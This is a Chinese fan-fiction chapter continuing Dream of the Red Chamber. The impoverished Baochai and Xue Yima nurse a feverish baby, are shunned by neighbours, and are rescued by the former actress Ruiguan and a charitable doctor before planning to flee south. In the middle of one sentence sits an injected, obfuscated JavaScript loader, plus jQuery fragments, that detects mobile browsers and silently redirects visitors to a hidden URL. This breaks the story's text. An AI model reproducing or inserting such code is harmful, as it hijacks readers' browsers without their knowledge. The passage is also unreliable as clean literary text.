宝玉带着包袱奔赴大牢的身影刚消失在荣府巷口，京城旧巷深处的小院里，宝钗正抱着刚满月的贾桂，在冰冷的土炕上轻轻踱步。朔风卷着碎雪粒子，“啪啪”打在糊着旧纸的窗棂上，纸缝里漏进的寒气，让炕席下的稻草都透着刺骨的凉。薛姨妈坐在炕边，正缝补着贾桂的襁褓，针线在冻得发僵的手指间笨拙穿梭，每一针都要用力拽紧，才能让线脚勉强规整。


    一、寒院困·产后体虚缺衣食


    宝钗身上穿的还是出嫁时的半旧青缎夹袄，袖口磨得发亮，露出里面泛黄的棉絮。生产时耗损的气血还未恢复，她脸色苍白得像纸，嘴唇干裂起皮，说话时声音沙哑得像是被砂纸磨过。怀里的贾桂裹着洗得发白的旧襁褓，那是袭人当年给宝玉做的，淡蓝色的细布上原绣着并蒂莲，如今针脚磨得松散，补丁叠着补丁，是宝钗连夜就着油灯补的，左手食指还被针扎出个小红点，结着层薄痂。


    “娘，您歇会儿吧，这襁褓我来补。”宝钗轻声说，想把贾桂递给薛姨妈，胳膊却僵得动不了——昨夜贾桂哭闹了大半宿，她抱着哄了近一个时辰，胳膊早麻了，指尖泛着青白色，连蜷一下都费劲。


    薛姨妈摆摆手，起身时踉跄了一下，赶紧扶住炕沿。她脚后跟缠着布条，是今早去当铺时磨破了鞋，雪水渗进去冻得生疼，只能临时用布条裹着。“不用不用，你身子金贵，刚坐完月子，可不能累着。”她伸手想接贾桂，却又缩了回去——手上还沾着从当铺回来时蹭的泥，指甲缝里嵌着污垢，怕蹭着孩子娇嫩的皮肤。


    贾桂闭着眼，小脸皱成一团，一声声“哇”哭着，声音细弱却执拗。他小拳头攥得紧紧的，指甲缝里沾着宝钗衣襟上的线头，小脚丫蹬着襁褓，把补丁处的线都蹬松了些。宝钗知道他是饿了，心里却泛起一阵无力——她的奶水本就少，这几日汤水跟不上，更是稀薄得像清水。昨日薛姨妈好不容易买了半斤糙米，熬了点稀粥，她喝了两碗，夜里奶水稍多些，喂了贾桂半饱；今日粥没了，只能冲点米汤喂他，孩子自然不依。


    炕边的小桌上，放着一个缺了口的粗瓷碗，碗里还剩小半碗药汤，是昨日熬的，治宝钗气血虚的，如今早凉透了，黑褐色的药汁里飘着几片干枯的药渣。灶房里的米缸早就见了底，只剩下一点混杂着沙子的糙米，是薛姨妈托人从乡下买来的陈米，淘洗时要反复筛好几遍，才能勉强煮着吃。柴火是捡的湿树枝，堆在墙角，散发着潮湿的霉味，烧起来浓烟滚滚，呛得人直咳嗽。


    二、稚子病·急坏慈母求无门


    贾桂哭了一阵，哭声渐渐弱了下去，呼吸却变得急促起来，小胸脯一鼓一鼓的，像跑了很远的路。宝钗低头一看，心里猛地一紧——孩子的小脸通红，额头烫得吓人，像揣着个小炭炉！她赶紧用脸颊贴了贴贾桂的额头，那滚烫的温度让她浑身一颤，声音瞬间变了调：“娘！桂儿烫得厉害！”


    薛姨妈也慌了，凑过来摸了摸贾桂的额头，又摸了摸他的小手，倒抽一口冷气：“怎么这么烫？莫不是昨夜受了寒？”她急得团团转，伸手想去外间拿热水，却差点撞翻炕边的药碗，碗里的药汤洒了一些在地上，黑褐色的痕迹在土坯地上格外显眼。


    “得请大夫，得赶紧请大夫！”宝钗抱着贾桂，眼泪终于忍不住掉了下来，砸在孩子的襁褓上，晕开一小片湿痕。她长这么大，从未这般慌乱过——从前在薛家，有父亲和母亲顶着；后来到贾府，有贾母疼着，有宝玉护着；如今父亲没了，贾母病着，宝玉忙着去狱中探父，她只能自己扛着。


    薛姨妈也急得眼泪直流，用袖口擦了擦脸，却还是强撑着安慰宝钗：“你别急，我这就去请大夫！”她说着，便往外走，刚走到门口，手碰到冰冷的门栓，又停住了——请大夫要花钱，她们如今连吃饭的钱都快没了。昨日当宝钗的银钗时，那当铺掌柜故意压价，说“这破钗子值不了几个钱”，最后只给了五十文。买了糙米和草药，剩下的钱连买块糖都不够，哪里有钱请大夫？


    宝钗也想到了这层，哭声顿住了，抱着贾桂的手更紧了。她低头看着孩子通红的小脸，睫毛上还挂着泪珠，心里像被刀割似的——这是她的孩子，是她在这乱世里唯一的指望，是她和宝玉的骨肉，她不能让他有事。


    “我去求张婶子！”薛姨妈忽然想起隔壁的张婶子，她儿子是个郎中，在街口开了个小药铺，或许能帮帮忙。她说着，不等宝钗回应，就拉开门跑了出去，鞋底子踩在雪地里，发出“咯吱咯吱”的响，雪粒子溅到裤腿上，很快就化了，留下一片片湿痕。


    三、冷遇寒·世态炎凉人心冷


    张婶子家就在隔壁，隔着一道矮墙。薛姨妈跑到门口，用力敲门：“张婶子，张婶子，您开开门！”敲了半天，门才开了一条缝，张婶子探出头来，脸上带着不耐烦。


    “是薛姨妈啊，这么冷的天，有什么事？”张婶子的声音里带着疏离，眼神在薛姨妈身上扫了一圈，看到她破旧的衣裳和缠着布条的脚，眼底闪过一丝鄙夷。


    “张婶子，求您帮帮忙，我外孙发烧了，您能不能让您儿子去看看？”薛姨妈带着哭腔，双手合十，“我们实在没钱请大夫，求您了！”


    张婶子皱了皱眉，眼神躲闪：“哎呀，真是不巧，我儿子不在家，去外地了，要不您再找找别人？”


    “张婶子，我知道您儿子在家，我刚才还看见他在院子里呢！”薛姨妈急了，“求您了，就看在咱们邻里一场的份上，帮帮忙吧！”


    张婶子脸色沉了下来：“薛姨妈，不是我不帮你，如今兵荒马乱的，自家都顾不上，哪里还能管别人？再说，你外孙的病要是传染了怎么办？”说完，不等薛姨妈再说话，就“砰”地一声关上了门。


    薛姨妈愣在原地，眼泪掉得更凶了。她想起从前贾府鼎盛时，张婶子还常来荣国府串门，每次来都带着礼物，一口一个“薛姨妈”叫得亲热，求王夫人给她儿子找个活计。如今见她们落了难，连门都不肯开，连句安慰的话都没有。这世道，人情比纸还薄。


    宝钗抱着贾桂，坐在昏暗的油灯下，听着薛姨妈远去的脚步声，心里又急又怕。她轻轻给孩子擦了擦眼泪，指尖触到孩子滚烫的皮肤，眼泪又掉了下来：“桂儿乖，别怕，外祖母去请大夫了，你会好起来的……”话没说完，就又咳嗽起来，咳得身子发颤，胸口疼得厉害，怀里的贾桂被惊醒，又哭了起来，哭声比先前更弱，却更让人心疼。


    薛姨妈又跑了几家邻居，要么闭门不见，要么婉言拒绝，碰了一鼻子灰。她回到小院时，浑身冻得发抖，头发上沾着雪，手里空空的，眼里满是绝望：“宝钗，没人肯帮我们……”


    宝钗看着薛姨妈狼狈的模样，心里一酸，强忍着眼泪说：“娘，别难过，我们用土方子试试。”她想起从前在贾府时，晴雯生病发烧，宝玉用薄荷汤给她擦身子降温，还让袭人煮了冰糖梨水，后来晴雯的烧就退了——如今虽没有薄荷，至少能用热水给孩子擦身子。


    四、旧友援·患难真情暖寒冬


    薛姨妈点点头，赶紧去外间烧热水。灶膛里的柴火是湿的，烧了半天也没火苗，只冒出呛人的浓烟，顺着灶台缝往屋里飘，把她呛得直咳嗽，眼泪直流，却不敢停下来——孩子还等着热水降温。


    宝钗抱着贾桂，坐在炕边，看着薛姨妈在烟雾里忙碌的身影，心里一阵发酸。她想起从前在蘅芜苑里，冬天烧着银丝炭，暖烘烘的，连空气里都带着点炭香，小丫鬟们端着热水进来，连手都不用自己洗；如今却要靠捡来的湿柴烧火，连口干净的热水都难。那时她虽也知薛家日渐式微，却从未想过，有朝一日会连烧壶热水都这么难，会连自己的孩子生病都请不起大夫。


    正想着，院门外传来轻轻的敲门声，“咚咚咚”，很轻，像是怕惊扰了什么。薛姨妈愣了一下，停下手里的活，用袖子擦了擦眼泪：“这个时候，会是谁？”


    宝钗也有些疑惑，让薛姨妈去看看。薛姨妈走到院门口，小心地拉开一条缝，见门外站着个穿着粗布衣裳的姑娘，约莫十六七岁，头上裹着块旧头巾，脸上冻得通红，鼻尖上还沾着雪粒子，手里提着个布袋子，袋子口露出点小米的黄影。


    “您是……薛姨妈吗？”那姑娘声音怯生生的，带着几分不确定，还轻轻跺了跺脚——脚上的布鞋也磨破了，露出一点脚趾，脚趾冻得通红。


    薛姨妈仔细看了看，见姑娘眉眼间有几分熟悉，忽然认了出来：“你是蕊官？当年梨香院的蕊官？”


    蕊官是当年贾府买来的十二个小戏子之一，唱小旦的，彼时她才十一二岁，总跟在芳官身后，怯生生的。记得有一次，她在梨香院唱戏，不小心摔了一跤，哭了起来，还是宝钗走过去，递给她一块手帕，安慰她说“别怕，摔疼了吧？”从那以后，蕊官就总想着宝钗的好。后来宫里老太妃薨了，戏班散了，蕊官就离开了贾府，听说流落在京城，靠卖针线过活。


    宝钗也没想到会在这里见到她，心里一阵惊讶，抱着贾桂坐直了些。


    “是我，姨妈。”蕊官点了点头，眼里泛起泪光，伸手拢了拢头巾，“我听街口卖菜的王嬷嬷说，您和宝二奶奶在这里，就过来看看——找了好几条巷子，才找到这里。”


    薛姨妈赶紧打开门，让蕊官进来：“快进来，外面冷得很。只是家里没炭火，屋子冷，委屈你了。”


    蕊官走进来，看着破败的院墙、漏风的屋子，还有屋檐下挂着的冰棱，眼圈更红了：“姨妈，宝二奶奶，你们怎么过得这么难？前几年我在梨香院时，见你们还住大房子，吃好的，穿好的，身边还有那么多丫鬟伺候……”说着，眼泪就掉了下来。


    宝钗抱着贾桂，勉强笑了笑，声音依旧沙哑：“世道不好，抄家了，能有个地方住就不错了。你怎么找到这里的？这些年你过得还好吗？”


    “我在街口卖针线，缝些帕子、袜子，换点钱过日子。”蕊官说着，把手里的布袋子递过来，袋子上还绣着朵小小的梅花——是她自己绣的，“这里有半袋小米，还有点红糖，是我攒下来的，您和宝二奶奶补补身子——宝二奶奶刚生了孩子，得补补。”


    这半袋小米是她攒了半个月才攒下来的。每天她早早地就去街口摆摊，缝一个帕子能赚两文钱，缝一双袜子能赚五文钱，省吃俭用，才攒下这半袋小米。红糖更是稀罕物，是前几日一个老主顾看她可怜，特意送给她的，她舍不得吃，想着要是能遇到宝钗她们，就给她们带来。


    薛姨妈接过布袋子，袋子沉甸甸的，心里一阵暖，眼泪又掉了下来：“好孩子，难为你还想着我们，我们如今这样，也没什么能报答你的……”


    蕊官摇了摇头，走到炕边，看着宝钗怀里的贾桂，见孩子脸色通红，还在小声哭，便问道：“这是宝二奶奶的孩子吧？怎么了？是不是不舒服？脸这么红。”


    宝钗点了点头，声音沙哑：“孩子发烧了，想请大夫，却没钱……求了邻居，也不肯帮忙。”


    蕊官皱了皱眉，想了想，眼里露出几分坚定：“我认识一个大夫，就在巷口不远，姓陈，是个老大夫，人很好，收费也低，我去帮您请他来？”她从前生过一场病，发了高烧，没钱请大夫，是陈大夫免费给她看的病，还送了她两贴药，她一直记着陈大夫的好。


    五、医者仁·微光驱散冬日寒


    宝钗和薛姨妈都愣了愣，连忙道谢，眼里露出点希望的光。蕊官转身就往外走，脚步匆匆，还不忘说：“姨妈、宝二奶奶你们等着，我很快就回来！”很快就消失在巷口的风雪里，雪粒子落在她的头巾上，像撒了把碎盐。


    薛姨妈看着蕊官的背影，叹了口气，用袖口擦了擦眼泪：“没想到这么多年了，还有人肯帮我们——那些从前跟在咱们屁股后面转的，如今连影都没了。”


    宝钗抱着贾桂，心里一阵温暖。她想起从前在梨香院，蕊官和芳官她们一起唱戏，蕊官唱《牡丹亭》里的杜丽娘，声音软软的，很好听。有一次，宝玉还笑着说“蕊官这嗓子，将来能成角儿”。如今蕊官却变得这么懂事，这么勇敢，在她们最难的时候伸出了援手。这乱世里，倒是这些底层的孩子，还保留着几分善意，不像那些富贵人家，只知趋炎附势。


    没过多久，蕊官就带着一个穿着青布长衫的大夫来了。那大夫约莫五十多岁，头发花白，梳得整整齐齐，用一根木簪固定着，背着个旧药箱，药箱上还刻着个“陈”字，字体有些模糊，却依旧能看清。他脸上带着温和的笑意，手里还拿着把油纸伞——是给蕊官遮雪的，伞面上有些破洞，却依旧能挡些风雪。


    “陈大夫，就是她们。”蕊官领着大夫进屋，还不忘帮大夫拍掉身上的雪。


    陈大夫点了点头，走到炕边，先给宝钗行了个礼：“夫人安好。”说完，才接过贾桂，小心翼翼地摸了摸孩子的额头，又把了脉，手指搭在贾桂的小手腕上，轻轻按着，眼神专注。


    过了一会儿，他松开手，笑着说：“夫人放心，孩子只是受了寒，不打紧，开两贴退烧药，熬了喂他，再用热水擦擦身子，发发汗就好了。”


    宝钗和薛姨妈都松了口气，眼泪又差点掉下来——刚才她们还以为孩子要出事，心里一直悬着，如今听陈大夫这么说，终于放下心来。


    陈大夫从药箱里拿出纸和笔，纸是粗糙的草纸，笔是普通的毛笔，他蘸了点墨，写下药方，字迹工整。写完后，又叮嘱道：“这药要熬半个时辰，水开后用小火慢慢熬，熬好后分三次喂，每次喂一勺就够了，孩子小，不能多喂。热水擦身子时，要避着胸口和肚子，别再着凉了。”


    “这药钱……”宝钗有些不好意思，手指绞着衣襟——她们如今连药钱都拿不出。


    陈大夫笑了笑，把药方递给薛姨妈：“不用给钱，我和蕊官是老相识了，她前几年帮我缝过药袋，缝得很好，欠她个人情。你们要是不嫌弃，这药就当我送你们的——如今世道难，大家互相帮衬着过，才能活下去。”


    宝钗和薛姨妈连忙道谢，心里感激


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886381|192024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不已。薛姨妈还想再说些什么，陈大夫却摆了摆手：“不用客气，赶紧去抓药吧，孩子还等着吃药呢。”说完，便准备离开。


    蕊官送陈大夫出门后，又回到屋里，帮着薛姨妈熬药——她会烧火，知道怎么控制火候，不让药熬糊了。她蹲在灶台边，添了些柴，火苗渐渐旺了起来，映得她的脸通红。


    “宝二奶奶，我听说宝玉二爷还在大观园里，为林姑娘守灵，变卖了身上的玉佩，换钱给林姑娘办后事——前几日我路过大观园，见门口都落了锁，只有几个老嬷嬷在守着，里面静悄悄的，一点声音都没有。”蕊官一边添柴，一边和宝钗说起外面的情况。


    宝钗的心猛地一紧，握着贾桂的手更紧了。她想起黛玉，那个敏感孤傲、才华横溢的姑娘。记得第一次见到黛玉时，黛玉穿着素色的衣裳，眉眼间带着几分愁绪，像朵易碎的梨花。她们一起在潇湘馆里看书，黛玉教她写诗，她教黛玉做针线，偶尔也会一起说些女儿家的心事。


    她还想起黛玉葬花时的情景，那天是芒种节，黛玉穿着素色的衣裳，拿着小锄，把落花埋在土里，一边埋一边哭，还念着“侬今葬花人笑痴，他年葬侬知是谁”，声音凄婉。那时宝钗还劝过黛玉，说“女孩子家不要总这么多愁善感”，可如今想来，黛玉的担忧竟是真的，她真的就这么走了，走得那么年轻，那么可怜。


    六、药香暖·绝境逢生盼晴日


    药熬好了，空气中弥漫着一股苦涩的药味。蕊官帮着宝钗把药倒在小碗里，放凉了些。孩子不肯喝，一闻到药味就哭，哭得厉害，小手乱挥，差点把药碗打翻。


    宝钗坐在炕头，把贾桂抱在怀里，用小勺一点点喂他，耐心得很——从前她在贾府时，连喂猫都没这么耐心过。她先把小勺放在自己嘴边，吹了吹，确认不烫了，才递到贾桂嘴边。贾桂扭着头，不肯张嘴，宝钗就轻轻哄着：“桂儿乖，喝了药病就好了，就不难受了。”


    药汁很苦，贾桂喝了一口就吐了出来，溅在宝钗的衣襟上，留下一块黑褐色的痕迹。宝钗也不恼，只是用手帕擦了擦贾桂的嘴角，又继续喂。蕊官在一旁帮着哄，逗着贾桂笑：“桂儿你看，这里有个小虫子，飞呀飞……”她用手指在空中比划着，模仿虫子飞的样子。


    贾桂被吸引了，不再哭闹，睁着大眼睛看着蕊官的手指。宝钗趁机把小勺递到他嘴边，贾桂下意识地张开嘴，喝了一口药。就这样，在宝钗和蕊官的配合下，终于把药喂完了。


    喂完药，蕊官又坐了一会儿，说了些外面的消息——比如妙玉被劫匪掳走的传闻，说劫匪把妙玉卖到了京城青楼，妙玉断发拒客，宁死不从，守住了清白；比如贾府的一些旧人，袭人嫁给了蒋玉菡，如今在城南开了个小铺子，卖些布匹，日子过得还算安稳；平儿去找王熙凤了，找了很多地方，还没找到下落——然后便要走了。


    宝钗想留她吃饭，却知道家里没什么可吃的，只有点糙米，连菜都没有，只能作罢：“蕊官，今日多谢你了，要是没有你，我们真不知道该怎么办。”


    “宝二奶奶不用客气，当年您也帮过我，我现在帮您是应该的。”蕊官笑了笑，“我还得去摆摊，要是晚了，就没位置了。您要是有什么事，就去街口找我，我每天都在那里。”说完，便拿起自己的布袋子，转身离开了。


    蕊官走后，薛姨妈把熬好的米汤端过来，给宝钗和贾桂各喂了一些。贾桂喝了药，又喝了点米汤，渐渐睡着了，呼吸也平稳了些，脸色也不那么红了，眉头也舒展开了。


    宝钗靠在炕头，闭上眼睛，想起蕊官说的话，想起宝玉，想起黛玉，想起从前的大观园——那时她们一起在大观园里联诗、赏花、放风筝，多快活。春天时，大观园里的花全开了，桃花、杏花、海棠花，一片姹紫嫣红；夏天时，她们在藕香榭里吃螃蟹，喝着酒，说着笑；秋天时，她们在凹晶馆里赏月，黛玉和湘云还联了“寒塘渡鹤影，冷月葬花魂”的名句；冬天时，她们在芦雪庵里烤鹿肉，宝玉还笑着说“若不是这鹿肉，今儿断不能作诗”。如今却物是人非，心里一阵难过，眼泪又忍不住掉了下来。


    薛姨妈坐在一旁，看着宝钗憔悴的样子，心里也不好受。她想了想，轻声说道：“宝钗，我琢磨着，京城不是久留之地——这里兵荒马乱的，到处都是兵丁，说不定哪天就出事了。咱们又没钱，桂儿还小，总不能一直这么熬着。咱们不如去江南吧？薛家在江南还有些旧识，或许能帮衬一把。”


    宝钗睁开眼睛，看着薛姨妈，心里一动。江南，那个她只在诗里读过的地方，那个黛玉的故乡，有小桥流水，有青石板路，有乌篷船，还有成片的荷花。黛玉曾跟她说过江南的美景，说“江南的春天，到处都是花，走在巷子里，都能闻到花香”，说“夏天时，坐在乌篷船上，看着两岸的荷花，特别舒服”。或许，江南真的能给她们一条活路。


    可她又有些犹豫：“江南路途遥远，一路上兵荒马乱的，到处都是劫匪，咱们带着桂儿，怎么能平安抵达？而且，咱们也不知道旧识如今还在不在，就算在，他会不会帮咱们？”


    “只要能活下去，再难也得去。”薛姨妈眼神坚定，伸手摸了摸贾桂的小脸，“咱们总不能在京城等死。我已经打听好了，再过几日，有个商队要去江南，是做茶叶生意的，商队的掌柜姓刘，为人厚道，信誉很好。咱们可以跟着他们走，路上能安全些——我去跟刘掌柜说说，给点钱，应该能带上咱们。”


    宝钗看着薛姨妈坚定的眼神，又看了看怀里熟睡的贾桂——孩子的小脸还带着点病容，却比刚才安稳多了。她知道，这是她们唯一的出路了。不管前路有多难，只要她们娘仨在一起，总能走下去。


    薛姨妈见她同意，心里松了口气，脸上露出了久违的笑容：“好，那咱们就开始收拾东西，明日我去跟刘掌柜说说，看看能不能带上咱们。”


    宝钗点了点头，开始整理身边的旧物。她从枕头下翻出一个小小的木盒，木盒是紫檀木的，上面刻着简单的花纹，是她父亲生前给她的。她打开木盒，里面放着几块旧帕子，其中一块是黛玉当年送她的，淡绿色的细布上绣着几枝翠竹，如今已经褪了色，边角处的线也松了，是她后来补的。


    她轻轻抚摸着帕子，想起黛玉的笑容，想起她们一起在潇湘馆里看书，黛玉给她念自己写的诗，“满纸自怜题素怨，片言谁解诉秋心”，那时她还不太懂黛玉的愁绪，如今却深深体会到了。眼泪又掉了下来，滴在帕子上，晕开一小片湿痕。她把帕子叠好，放进贴身的衣袋里，想着到了江南，或许能去黛玉的旧宅看看，看看她曾经生活过的地方，看看她口中的“江南烟雨”。


    窗外的风雪还在继续，刮得窗纸“呼嗒”作响，可这小小的屋子里，却多了几分暖意。宝钗抱着熟睡的贾桂，薛姨妈整理着行李，母女俩的心里，都有了一个共同的目标——去江南，找一条活路，为了自己，更为了怀里的孩子，为了这乱世中，那一点不肯熄灭的烟火气。